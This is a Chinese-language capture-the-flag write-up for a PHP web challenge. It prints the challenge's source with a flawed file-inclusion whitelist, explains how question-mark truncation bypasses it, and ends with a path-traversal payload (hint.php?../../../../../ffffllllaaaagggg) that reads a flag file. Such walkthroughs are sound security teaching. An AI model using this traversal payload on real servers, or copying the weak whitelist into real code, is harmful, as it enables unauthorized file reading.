Ctrl+U查看页面源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
发现注释处的source.php,复制到地址栏进入
获取新的一堆php代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问hint.php
只有一串文字,考虑flag很有可能就在这个‘ffffllllaaaagggg’文件中
回到source.php代码中
分析这段有包含命令的代码:include $_REQUEST['file'];
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
!empty($_REQUEST['file']:请求是否非空
is_string($_REQUEST['file']:请求是否为字符串
emmm::checkFile($_REQUEST['file']):能否通过checkFile()函数的判定
当三个条件同时为真时,对文件‘file’执行包含
审计checkFile函数
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
!isset($page) || !is_string($page):$page变量不存在或者不是字符串
in_array($page, $whitelist):$page变量存在于$whitelist数组中
$_page = mb_substr:截取出一段字符串并串赋值给$_page
in_array($_page, $whitelist):$_page变量存在于$whitelist数组中
$_page = urldecode($page):对$page进行url解码后赋值给$_page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
在上述代码中,新建了一个$_page变量
截取函数:mb_substr选定$page变量为被截取的字符串
从位置下标0开始进行字符串截取,mb_strpos则是字符串查找函数
mb_strpos($page.'?','?'),代表查找$page变量中的‘?’字符并返回‘?’的位置
如果没找到‘?’,则假设‘?’在$page字符最后一位,以此保证该函数有返回值
所以整个mb_substr函数代表者:如果$page中存在‘?’则截取出‘?’之前的字符串
如果‘?’不存在,则$page整体都将被截取出来,则‘?file=******************’
星号中的所有字符串都会被截取出来赋值给$_page
解题思路
构造payload先确定一个固定的头:url/?file=(这段字符串不会赋值到page中)
使$page在$whitelist中,则必须是source.php或者hint.php才判定为真
所以这里需要直接构造为:url/?file=hint.php
接着需要再判定有没有‘?’,所以变成:url/?file=hint.php?
所以当我们构造的url进入checkFile时,$page和$_page的值就会一直等于‘hint.php?’
无论checkFile判定$page或者$_page都一定会存在于$whitelist中
且经过截取后,问号前面的值也一定还会等于‘hint.php?’
最终checkFile的返回值则为真,满足一开始flag触发的三个条件
图穷匕见,在url/?file=hint.php?后面跟上要包含的文件,此题就结束了
在地址栏中构造payload
直接访问:url?file=hint.php?ffffllllaaaagggg出现的是一个空白页
考虑该文件应该不在hint.php的同目录,所以应该是在根目录
这里唯一的方法就是多加几个‘../’,将相对位置调试到根目录
最后:url/?file=hint.php?../../../../../ffffllllaaaagggg
加了5个../后,回退到了根目录,出现flag